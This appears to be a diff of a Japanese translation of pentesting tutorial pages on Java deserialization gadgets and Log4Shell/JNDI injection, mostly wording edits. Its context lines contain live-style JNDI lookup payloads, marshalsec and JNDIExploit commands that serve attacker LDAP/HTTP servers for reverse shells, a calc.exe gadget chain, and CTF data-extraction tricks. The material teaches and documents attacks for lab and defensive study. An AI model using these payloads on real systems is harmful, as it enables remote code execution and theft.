そのため、URLオブジェクトが**`equals`**または**`hashCode`**の**いずれか**の**関数**を呼び出すたびに、**IPアドレス**を取得するための**DNSリクエスト**が**送信**されます。
|
||||||
|
|
||||||
**`hashCode`**関数を**URL**オブジェクトから**呼び出す**のは非常に簡単で、このオブジェクトをデシリアライズされる`HashMap`に挿入するだけで済みます。これは、`HashMap`の**`readObject`**関数の**最後**でこのコードが実行されるためです:
|
**`hashCode`**関数を**URL**オブジェクトから**呼び出す**のは非常に簡単で、このオブジェクトをデシリアライズされる`HashMap`に挿入するだけで済みます。これは、`HashMap`の**`readObject`**関数の**最後**でこのコードが実行されるためです:
|
||||||
```java
|
```java
|
||||||
@ -21,7 +21,7 @@ for (int i = 0; i < mappings; i++) {
|
|||||||
putVal(hash(key), key, value, false, false);
|
putVal(hash(key), key, value, false, false);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
それは`HashMap`内のすべての値で`putVal`を**実行**する**予定です**。しかし、より重要なのは、すべての値で`hash`を呼び出すことです。これは`hash`関数のコードです:
|
それは`HashMap`内のすべての値で`putVal`を**実行**します。しかし、より重要なのは、すべての値で`hash`を呼び出すことです。これは`hash`関数のコードです:
|
||||||
```java
|
```java
|
||||||
static final int hash(Object key) {
|
static final int hash(Object key) {
|
||||||
int h;
|
int h;
|
||||||
@ -53,13 +53,13 @@ h += protocol.hashCode();
|
|||||||
InetAddress addr = getHostAddress(u);
|
InetAddress addr = getHostAddress(u);
|
||||||
[ ... ]
|
[ ... ]
|
||||||
```
|
```
|
||||||
`getHostAddress`がドメインに対して実行され、**DNSクエリが発行されます**。
|
`getHostAddress`がドメインに対して実行され、**DNSクエリを発行**しています。
|
||||||
|
|
||||||
したがって、このクラスは**悪用**されて**DNSクエリを発行**し、**デシリアライズ**が可能であることを**示す**ため、または**情報を抽出**するために使用できます(コマンド実行の出力をサブドメインとして追加できます)。
|
したがって、このクラスは**悪用**されて**DNSクエリを発行**し、**デシリアライズ**が可能であることを**示す**ため、または**情報を抽出**するために使用できます(コマンド実行の出力をサブドメインとして追加できます)。
|
||||||
|
|
||||||
### URLDNSペイロードコードの例
|
### URLDNSペイロードコードの例
|
||||||
|
|
||||||
[ysoserialのURDNSペイロードコードはこちら](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)で見つけることができます。ただし、コーディングを理解しやすくするために、ysoserialのものを基にした独自のPoCを作成しました:
|
[ysoserialのURDNSペイロードコードはこちら](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)で見つけることができます。ただし、理解しやすくするために、ysoserialのものを基にした独自のPoCを作成しました:
|
||||||
```java
|
```java
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.FileInputStream;
|
import java.io.FileInputStream;
|
||||||
@ -148,7 +148,7 @@ GitHub内には、[**GadgetProbeにはいくつかのワードリスト**](https
|
|||||||
## Javaデシリアライズスキャナー
|
## Javaデシリアライズスキャナー
|
||||||
|
|
||||||
このスキャナーはBurp App Store (**Extender**)から**ダウンロード**できます。\
|
このスキャナーはBurp App Store (**Extender**)から**ダウンロード**できます。\
|
||||||
この**拡張機能**には**パッシブ**およびアクティブな**機能**があります。
|
**拡張機能**には**パッシブ**およびアクティブな**機能**があります。
|
||||||
|
|
||||||
### パッシブ
|
### パッシブ
|
||||||
|
|
||||||
|
@ -42,7 +42,7 @@ lazyMap.get("anything");
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Javaのデシリアライズペイロードについて何も知らない場合、このコードがなぜcalcを実行するのかを理解するのは難しいかもしれません。
|
Javaのデシリアライズペイロードについて何も知らない場合、このコードがどのようにcalcを実行するかを理解するのは難しいかもしれません。
|
||||||
|
|
||||||
まず第一に、**JavaのTransformer**は**クラスを受け取り**、**別のクラスに変換する**ものであることを知っておく必要があります。\
|
まず第一に、**JavaのTransformer**は**クラスを受け取り**、**別のクラスに変換する**ものであることを知っておく必要があります。\
|
||||||
また、ここで**実行されているペイロード**は**次のものと同等**であることを知っておくと興味深いです:
|
また、ここで**実行されているペイロード**は**次のものと同等**であることを知っておくと興味深いです:
|
||||||
@ -55,7 +55,7 @@ Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
|||||||
```
|
```
|
||||||
### どのように
|
### どのように
|
||||||
|
|
||||||
では、最初のペイロードがどのように「シンプル」なワンライナーと同等であるかを見てみましょう。
|
では、最初のペイロードがその「シンプルな」ワンライナーと同等である理由は何ですか?
|
||||||
|
|
||||||
**まず**、ペイロードには**変換のチェーン(配列)が作成されている**ことに気づくことができます:
|
**まず**、ペイロードには**変換のチェーン(配列)が作成されている**ことに気づくことができます:
|
||||||
```java
|
```java
|
||||||
@ -86,7 +86,7 @@ ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
|||||||
```
|
```
|
||||||
コードを読むと、配列の変換を何らかの方法で連鎖させることができれば、任意のコマンドを実行できることに気付くでしょう。
|
コードを読むと、配列の変換を何らかの方法で連鎖させることができれば、任意のコマンドを実行できることに気付くでしょう。
|
||||||
|
|
||||||
では、**それらの変換はどのように連鎖するのですか?**
|
では、**それらの変換はどのように連鎖させるのですか?**
|
||||||
```java
|
```java
|
||||||
Map map = new HashMap<>();
|
Map map = new HashMap<>();
|
||||||
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||||||
@ -104,7 +104,7 @@ this.factory = factory;
|
|||||||
```
|
```
|
||||||
そして、素晴らしいフィナーレが実行されます: `lazyMap.get("anything");`
|
そして、素晴らしいフィナーレが実行されます: `lazyMap.get("anything");`
|
||||||
|
|
||||||
これは `get` 関数のコードです:
|
これが `get` 関数のコードです:
|
||||||
```java
|
```java
|
||||||
public Object get(Object key) {
|
public Object get(Object key) {
|
||||||
if (map.containsKey(key) == false) {
|
if (map.containsKey(key) == false) {
|
||||||
@ -124,7 +124,7 @@ object = iTransformers[i].transform(object);
|
|||||||
return object;
|
return object;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
だから、**factory**の中に**`chainedTransformer`**を保存していて、**`transform`**関数の中で**すべてのチェーンされたトランスフォーマーを通過して**、1つずつ実行していることを思い出してください。面白いことに、**各トランスフォーマーは`object`を** **入力**として使用し、**objectは最後に実行されたトランスフォーマーからの出力です**。したがって、**すべての変換は悪意のあるペイロードをチェーン実行しています**。
|
だから、**factory**の中に**`chainedTransformer`**を保存していて、**`transform`**関数の中で**すべてのチェーンされたトランスフォーマーを通過して**、1つずつ実行していることを思い出してください。面白いことに、**各トランスフォーマーは`object`を** **入力**として使用し、**objectは最後に実行されたトランスフォーマーからの出力です**。したがって、**すべてのトランスフォームは悪意のあるペイロードをチェーン実行しています**。
|
||||||
|
|
||||||
### 概要
|
### 概要
|
||||||
|
|
||||||
@ -153,7 +153,7 @@ command
|
|||||||
```java
|
```java
|
||||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||||
```
|
```
|
||||||
ここでは、**ComonsCollections1** ペイロードに使用される **gadgets** が説明されました。しかし、**これがどのように実行されるか** は残されています。 [ここで **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java) を見ると、このペイロードを実行するために `AnnotationInvocationHandler` オブジェクトを使用しています。なぜなら、**このオブジェクトがデシリアライズされると**、`payload.get()` 関数を **呼び出す** からであり、**ペイロード全体を実行します**。
|
ここでは、**ComonsCollections1** ペイロードに使用される **gadgets** が説明されました。しかし、**これがどのように実行されるか** は残されています。 [ここで **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java) を見ると、このペイロードを実行するために `AnnotationInvocationHandler` オブジェクトを使用しています。なぜなら、**このオブジェクトがデシリアライズされると**、`payload.get()` 関数を **呼び出す** からであり、これが **ペイロード全体を実行します**。
|
||||||
|
|
||||||
## Java Thread Sleep
|
## Java Thread Sleep
|
||||||
|
|
||||||
|
@ -8,7 +8,7 @@ JNDIは1990年代後半からJavaに統合されており、ディレクトリ
|
|||||||
|
|
||||||
### JNDI命名参照
|
### JNDI命名参照
|
||||||
|
|
||||||
JavaオブジェクトはJNDI命名参照を使用して保存および取得でき、2つの形式があります:
|
JavaオブジェクトはJNDI命名参照を使用して保存および取得でき、これには2つの形式があります:
|
||||||
|
|
||||||
- **参照アドレス**:オブジェクトの場所を指定します(例:_rmi://server/ref_)、指定されたアドレスから直接取得できます。
|
- **参照アドレス**:オブジェクトの場所を指定します(例:_rmi://server/ref_)、指定されたアドレスから直接取得できます。
|
||||||
- **リモートファクトリ**:リモートファクトリクラスを参照します。アクセスされると、クラスはリモートの場所からダウンロードされ、インスタンス化されます。
|
- **リモートファクトリ**:リモートファクトリクラスを参照します。アクセスされると、クラスはリモートの場所からダウンロードされ、インスタンス化されます。
|
||||||
@ -19,9 +19,9 @@ JavaオブジェクトはJNDI命名参照を使用して保存および取得で
|
|||||||
- **LDAP**:JDK 6u141、7u131、8u121以降、デフォルトで`com.sun.jndi.ldap.object.trustURLCodebase = false`が設定され、リモートで読み込まれたJavaオブジェクトの実行がブロックされます。`true`に設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能になります。
|
- **LDAP**:JDK 6u141、7u131、8u121以降、デフォルトで`com.sun.jndi.ldap.object.trustURLCodebase = false`が設定され、リモートで読み込まれたJavaオブジェクトの実行がブロックされます。`true`に設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能になります。
|
||||||
- **CORBA**:特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。
|
- **CORBA**:特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。
|
||||||
|
|
||||||
しかし、JNDIリンクを解決する責任を持つ**ネーミングマネージャー**には、組み込みのセキュリティメカニズムが欠けており、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや、悪意のあるコードを実行するために既存のアプリケーションコンポーネント(ガジェット)を悪用するリスクが生じます。
|
しかし、JNDIリンクを解決する責任を持つ**Naming Manager**は、組み込みのセキュリティメカニズムが欠如しており、任意のソースからオブジェクトを取得できる可能性があります。これは、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや、既存のアプリケーションコンポーネント(ガジェット)を悪用して悪意のあるコードを実行するリスクをもたらします。
|
||||||
|
|
||||||
悪用可能なURLの例:
|
悪用可能なURLの例には以下が含まれます:
|
||||||
|
|
||||||
- _rmi://attacker-server/bar_
|
- _rmi://attacker-server/bar_
|
||||||
- _ldap://attacker-server/bar_
|
- _ldap://attacker-server/bar_
|
||||||
@ -33,19 +33,19 @@ JavaオブジェクトはJNDI命名参照を使用して保存および取得で
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
**`PROVIDER_URL`**を設定していても、ルックアップで異なるものを指定でき、アクセスされます:`ctx.lookup("<attacker-controlled-url>")`、これが攻撃者が彼の制御下にあるシステムから任意のオブジェクトを読み込むために悪用するものです。
|
**`PROVIDER_URL`**を設定していても、ルックアップで異なるものを指定することができ、アクセスされます:`ctx.lookup("<attacker-controlled-url>")`、これが攻撃者が彼の制御するシステムから任意のオブジェクトを読み込むために悪用するものです。
|
||||||
|
|
||||||
### CORBAの概要
|
### CORBAの概要
|
||||||
|
|
||||||
CORBA(Common Object Request Broker Architecture)は、リモートオブジェクトを一意に識別するために**相互運用可能なオブジェクト参照(IOR)**を使用します。この参照には、次のような重要な情報が含まれます:
|
CORBA(Common Object Request Broker Architecture)は、リモートオブジェクトを一意に識別するために**Interoperable Object Reference (IOR)**を使用します。この参照には、以下のような重要な情報が含まれます:
|
||||||
|
|
||||||
- **タイプID**:インターフェースの一意の識別子。
|
- **タイプID**:インターフェースの一意の識別子。
|
||||||
- **コードベース**:スタブクラスを取得するためのURL。
|
- **コードベース**:スタブクラスを取得するためのURL。
|
||||||
|
|
||||||
特に、CORBAは本質的に脆弱ではありません。セキュリティを確保するためには通常、次のことが必要です:
|
特に、CORBAは本質的に脆弱ではありません。セキュリティを確保するためには通常、以下が必要です:
|
||||||
|
|
||||||
- **セキュリティマネージャー**のインストール。
|
- **セキュリティマネージャー**のインストール。
|
||||||
- セキュリティマネージャーを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは次のように実現できます:
|
- セキュリティマネージャーを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは以下を通じて実現できます:
|
||||||
- ソケットの権限、例:`permissions java.net.SocketPermission "*:1098-1099", "connect";`。
|
- ソケットの権限、例:`permissions java.net.SocketPermission "*:1098-1099", "connect";`。
|
||||||
- ファイル読み取り権限、普遍的に(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)または悪意のあるファイルが配置される可能性のある特定のディレクトリに対して。
|
- ファイル読み取り権限、普遍的に(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)または悪意のあるファイルが配置される可能性のある特定のディレクトリに対して。
|
||||||
|
|
||||||
@ -53,13 +53,13 @@ CORBA(Common Object Request Broker Architecture)は、リモートオブジ
|
|||||||
|
|
||||||
### RMIコンテキスト
|
### RMIコンテキスト
|
||||||
|
|
||||||
RMI(Remote Method Invocation)については、状況がやや異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも関連する課題です。
|
RMI(Remote Method Invocation)については、状況はやや異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも関連する課題です。
|
||||||
|
|
||||||
### LDAP
|
### LDAP
|
||||||
|
|
||||||
まず、検索とルックアップを区別する必要があります。\
|
まず、検索とルックアップを区別する必要があります。\
|
||||||
**検索**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用してLDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を**取得します**。\
|
**検索**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用してLDAPサーバーからJNDITutorialオブジェクトを見つけ、その**属性を取得**します。\
|
||||||
**ルックアップ**は、**名前サービス**のためのもので、**名前にバインドされているものを取得する**ことを目的としています。
|
**ルックアップ**は、**名前サービス**のためのもので、**名前にバインドされているものを取得**することを目的としています。
|
||||||
|
|
||||||
LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出された場合、返されたオブジェクトは再構築されます**。
|
LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出された場合、返されたオブジェクトは再構築されます**。
|
||||||
|
|
||||||
@ -89,7 +89,7 @@ LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出され
|
|||||||
|
|
||||||
キーに**:が存在する**場合、例えば`${jndi:ldap://example.com/a}`では**プレフィックスがなく**、**LDAPサーバーがオブジェクトをクエリします**。これらのルックアップは、Log4jの設定やログが記録される際に使用できます。
|
キーに**:が存在する**場合、例えば`${jndi:ldap://example.com/a}`では**プレフィックスがなく**、**LDAPサーバーがオブジェクトをクエリします**。これらのルックアップは、Log4jの設定やログが記録される際に使用できます。
|
||||||
|
|
||||||
したがって、RCEを取得するために必要な唯一のことは、**ユーザーによって制御される情報を処理する脆弱なバージョンのLog4j**です。そして、これはJavaアプリケーションが情報をログに記録するために広く使用されているライブラリであるため(インターネットに接続されたアプリケーションを含む)、HTTPヘッダーのような情報をログに記録するためにlog4jが非常に一般的でした。しかし、log4jは**HTTP情報だけでなく、開発者が示した任意の入力やデータをログに記録するために使用されます**。
|
したがって、RCEを取得するために必要な唯一のものは、**ユーザーによって制御される情報を処理する脆弱なバージョンのLog4j**です。そして、これはJavaアプリケーションが情報をログに記録するために広く使用されているライブラリであるため(インターネットに接続されたアプリケーションを含む)、HTTPヘッダーのような情報をログに記録するためにlog4jが非常に一般的でした。しかし、log4jは**HTTP情報だけでなく、開発者が示した任意の入力やデータをログに記録するために使用されます**。
|
||||||
|
|
||||||
## Log4Shell関連のCVEの概要
|
## Log4Shell関連のCVEの概要
|
||||||
|
|
||||||
@ -103,15 +103,15 @@ LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出され
|
|||||||
|
|
||||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
|
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
|
||||||
|
|
||||||
**Log4j 1.xバージョン**に影響を与え、デフォルト以外の構成で`JMSAppender`を使用しているこのCVEは、信頼できないデシリアライズの欠陥です。1.xブランチには修正がなく、サポートが終了しているため、`log4j-core 2.17.0`へのアップグレードが推奨されます。
|
**Log4j 1.xバージョン**に影響を与え、`JMSAppender`を使用している非デフォルト構成のこのCVEは、信頼できないデシリアライズの欠陥です。1.xブランチには修正がなく、サポートが終了しているため、`log4j-core 2.17.0`へのアップグレードが推奨されます。
|
||||||
|
|
||||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
|
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
|
||||||
|
|
||||||
この脆弱性は、Log4j 1.xの後継である**Logbackロギングフレームワーク**に影響を与えます。以前は安全だと考えられていましたが、このフレームワークは脆弱であることが判明し、問題を解決するために新しいバージョン(1.3.0-alpha11および1.2.9)がリリースされました。
|
この脆弱性は、Log4j 1.xの後継である**Logbackロギングフレームワーク**に影響を与えます。以前は安全だと考えられていましたが、フレームワークが脆弱であることが判明し、問題に対処するために新しいバージョン(1.3.0-alpha11および1.2.9)がリリースされました。
|
||||||
|
|
||||||
### **CVE-2021-45105** **\[High]**
|
### **CVE-2021-45105** **\[High]**
|
||||||
|
|
||||||
Log4j 2.16.0にはDoSの欠陥が含まれており、CVEを修正するために`log4j 2.17.0`がリリースされました。詳細はBleepingComputerの[レポート](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)にあります。
|
Log4j 2.16.0にはDoSの欠陥が含まれており、CVEを修正するために`log4j 2.17.0`がリリースされました。詳細はBleepingComputerの[報告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)にあります。
|
||||||
|
|
||||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||||
|
|
||||||
@ -121,7 +121,7 @@ log4jバージョン2.17に影響を与えるこのCVEは、攻撃者がlog4jの
|
|||||||
|
|
||||||
### 発見
|
### 発見
|
||||||
|
|
||||||
この脆弱性は、保護されていない場合、非常に簡単に発見できます。なぜなら、ペイロードで指定したアドレスに少なくとも**DNSリクエスト**を送信するからです。したがって、次のようなペイロードが考えられます:
|
この脆弱性は、保護されていない場合、非常に簡単に発見できます。なぜなら、ペイロードで指定したアドレスに少なくとも**DNSリクエスト**を送信するからです。したがって、以下のようなペイロードが考えられます:
|
||||||
|
|
||||||
- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`([canarytokens.com](https://canarytokens.org/generate)を使用)
|
- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`([canarytokens.com](https://canarytokens.org/generate)を使用)
|
||||||
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`([interactsh](https://github.com/projectdiscovery/interactsh)を使用)
|
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`([interactsh](https://github.com/projectdiscovery/interactsh)を使用)
|
||||||
@ -136,7 +136,7 @@ log4jバージョン2.17に影響を与えるこのCVEは、攻撃者がlog4jの
|
|||||||
|
|
||||||
#### **ローカル発見**
|
#### **ローカル発見**
|
||||||
|
|
||||||
次のコマンドで**ローカルの脆弱なバージョン**のライブラリを検索します:
|
以下のコマンドで**ローカルの脆弱なバージョン**のライブラリを検索します:
|
||||||
```bash
|
```bash
|
||||||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||||||
```
|
```
|
||||||
@ -205,7 +205,7 @@ Any other env variable name that could store sensitive information
|
|||||||
### RCE情報
|
### RCE情報
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> JDKバージョン6u141、7u131、または8u121以上で動作しているホストは、LDAPクラスローディング攻撃ベクターから保護されています。これは、`com.sun.jndi.ldap.object.trustURLCodebase`がデフォルトで無効化されているためで、これによりJNDIがLDAPを介してリモートコードベースをロードすることを防ぎます。ただし、これらのバージョンは**デシリアライズ攻撃ベクターに対して保護されていない**ことに注意することが重要です。
|
> JDKバージョン6u141、7u131、または8u121以上で動作しているホストは、LDAPクラスローディング攻撃ベクターから保護されています。これは、`com.sun.jndi.ldap.object.trustURLCodebase`がデフォルトで無効化されているためで、これによりJNDIはLDAPを介してリモートコードベースをロードできなくなります。ただし、これらのバージョンは**デシリアライズ攻撃ベクターに対して保護されていない**ことに注意することが重要です。
|
||||||
>
|
>
|
||||||
> これらの高いJDKバージョンを悪用しようとする攻撃者は、Javaアプリケーション内で**信頼されたガジェット**を利用する必要があります。ysoserialやJNDIExploitのようなツールがこの目的でよく使用されます。一方、低いJDKバージョンを悪用するのは比較的簡単で、これらのバージョンは任意のクラスをロードして実行するように操作できます。
|
> これらの高いJDKバージョンを悪用しようとする攻撃者は、Javaアプリケーション内で**信頼されたガジェット**を利用する必要があります。ysoserialやJNDIExploitのようなツールがこの目的でよく使用されます。一方、低いJDKバージョンを悪用するのは比較的簡単で、これらのバージョンは任意のクラスをロードして実行するように操作できます。
|
||||||
>
|
>
|
||||||
@ -213,13 +213,13 @@ Any other env variable name that could store sensitive information
|
|||||||
|
|
||||||
### RCE - Marshalsecとカスタムペイロード
|
### RCE - Marshalsecとカスタムペイロード
|
||||||
|
|
||||||
この内容は**THMボックス**でテストできます: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
この内容は**THMボックス**でテストできます:[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||||
|
|
||||||
ツール[**marshalsec**](https://github.com/mbechler/marshalsec)を使用します(jarバージョンは[**こちら**](https://github.com/RandomRobbieBF/marshalsec-jar)で入手可能)。このアプローチは、接続を二次HTTPサーバーにリダイレクトするLDAPリファラルサーバーを確立します。
|
ツール[**marshalsec**](https://github.com/mbechler/marshalsec)を使用します(jarバージョンは[**こちら**](https://github.com/RandomRobbieBF/marshalsec-jar)で入手可能です)。このアプローチは、接続を二次HTTPサーバーにリダイレクトするLDAPリファラルサーバーを確立します。
|
||||||
```bash
|
```bash
|
||||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||||
```
|
```
|
||||||
ターゲットにリバースシェルコードをロードさせるために、以下の内容で `Exploit.java` という名前のJavaファイルを作成します:
|
ターゲットにリバースシェルコードを読み込ませるために、以下の内容で `Exploit.java` という名前のJavaファイルを作成します:
|
||||||
```java
|
```java
|
||||||
public class Exploit {
|
public class Exploit {
|
||||||
static {
|
static {
|
||||||
@ -254,8 +254,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
|
|||||||
unzip JNDIExploit.v1.2.zip
|
unzip JNDIExploit.v1.2.zip
|
||||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||||
```
|
```
|
||||||
コードを数分間読んだ後、_com.feihong.ldap.LdapServer_ と _com.feihong.ldap.HTTPServer_ で **LDAP と HTTP サーバーがどのように作成されるか** がわかります。LDAP サーバーは、どのペイロードを提供する必要があるかを理解し、被害者を HTTP サーバーにリダイレクトします。HTTP サーバーはエクスプロイトを提供します。\
|
コードを数分間読むと、_com.feihong.ldap.LdapServer_ と _com.feihong.ldap.HTTPServer_ で **LDAP と HTTP サーバーがどのように作成されるか** がわかります。LDAP サーバーは、どのペイロードを提供する必要があるかを理解し、被害者を HTTP サーバーにリダイレクトします。HTTP サーバーはエクスプロイトを提供します。\
|
||||||
_com.feihong.ldap.gadgets_ では、目的のアクションを実行するために使用できる **特定のガジェット** を見つけることができます(潜在的に任意のコードを実行する)。_com.feihong.ldap.template_ では、**エクスプロイトを生成する** 異なるテンプレートクラスを見ることができます。
|
_com.feihong.ldap.gadgets_ では、**特定のガジェット**が見つかり、目的のアクションを実行するために使用できます(任意のコードを実行する可能性があります)。_com.feihong.ldap.template_ では、**エクスプロイトを生成する**さまざまなテンプレートクラスを見ることができます。
|
||||||
|
|
||||||
利用可能なすべてのエクスプロイトは **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** で確認できます。いくつかの便利なものは次のとおりです:
|
利用可能なすべてのエクスプロイトは **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** で確認できます。いくつかの便利なものは次のとおりです:
|
||||||
```bash
|
```bash
|
||||||
@ -288,7 +288,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||||||
# Execute command
|
# Execute command
|
||||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||||
```
|
```
|
||||||
_この攻撃はカスタム生成されたJavaオブジェクトを使用しており、**THMソーラールーム**のようなラボで機能します。しかし、一般的には機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースをロードするように構成されていないため)これは、信頼されたクラスを悪用して任意のコードを実行していないためだと思います。_
|
_この攻撃はカスタム生成されたJavaオブジェクトを使用しており、**THMソーラールーム**のようなラボで機能します。しかし、一般的には機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースをロードするように構成されていないため)これは、信頼されたクラスを悪用して任意のコードを実行していないからだと思います。_
|
||||||
|
|
||||||
### RCE - JNDI-Injection-Exploit-Plus
|
### RCE - JNDI-Injection-Exploit-Plus
|
||||||
|
|
||||||
@ -373,7 +373,7 @@ CTFでは、log4Jを使用してJavaアプリケーションの**stderrにアク
|
|||||||
|
|
||||||
### 変換パターンの例外
|
### 変換パターンの例外
|
||||||
|
|
||||||
念のために言及すると、[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) を新たに注入し、`stdout` にログされる例外をトリガーすることも可能です。例えば:
|
念のために言及すると、新しい [**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) を注入し、`stdout` に記録される例外をトリガーすることもできます。例えば:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -381,7 +381,7 @@ CTFでは、log4Jを使用してJavaアプリケーションの**stderrにアク
|
|||||||
|
|
||||||
### 変換パターンの正規表現
|
### 変換パターンの正規表現
|
||||||
|
|
||||||
ただし、**正規表現をサポートするいくつかの変換パターン**を使用して、正規表現を利用し、**二分探索**または**時間ベース**の動作を悪用して情報を抽出することが可能です。
|
ただし、**正規表現をサポートするいくつかの変換パターン**を使用して、正規表現を使用し、**二分探索**または**時間ベース**の動作を悪用して、検索から情報を抽出することが可能です。
|
||||||
|
|
||||||
- **例外メッセージによる二分探索**
|
- **例外メッセージによる二分探索**
|
||||||
|
|
||||||
@ -416,9 +416,9 @@ CTFでは、log4Jを使用してJavaアプリケーションの**stderrにアク
|
|||||||
> }{#}{######################################################}
|
> }{#}{######################################################}
|
||||||
> ```
|
> ```
|
||||||
>
|
>
|
||||||
> フラグが`flagGuess`で始まる場合、全体のフラグは29個の`#`に置き換えられます(この文字を使用したのは、フラグの一部でない可能性が高いためです)。**結果として得られる29個の`#`は54個の`#`に置き換えられます**。このプロセスは**6回**繰り返され、合計で` 29*54*54^6* =`` `` `**`96816014208`** **`#`になります!**
|
> フラグが`flagGuess`で始まる場合、全体のフラグは29個の`#`に置き換えられます(この文字を使用したのは、フラグの一部でない可能性が高いためです)。**結果として得られた29個の`#`は54個の`#`に置き換えられます**。このプロセスは**6回**繰り返され、合計で` 29*54*54^6* =`` `` `**`96816014208`** **`#`が生成されます!**
|
||||||
>
|
>
|
||||||
> これほど多くの`#`を置き換えると、Flaskアプリケーションの10秒のタイムアウトが発生し、その結果、HTTPステータスコード500がユーザーに送信されます。(フラグが`flagGuess`で始まらない場合、500以外のステータスコードを受け取ります)
|
> これほど多くの`#`を置き換えると、Flaskアプリケーションの10秒のタイムアウトが発生し、その結果、HTTPステータスコード500がユーザーに送信されます。(フラグが`flagGuess`で始まらない場合、500以外のステータスコードが返されます)
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
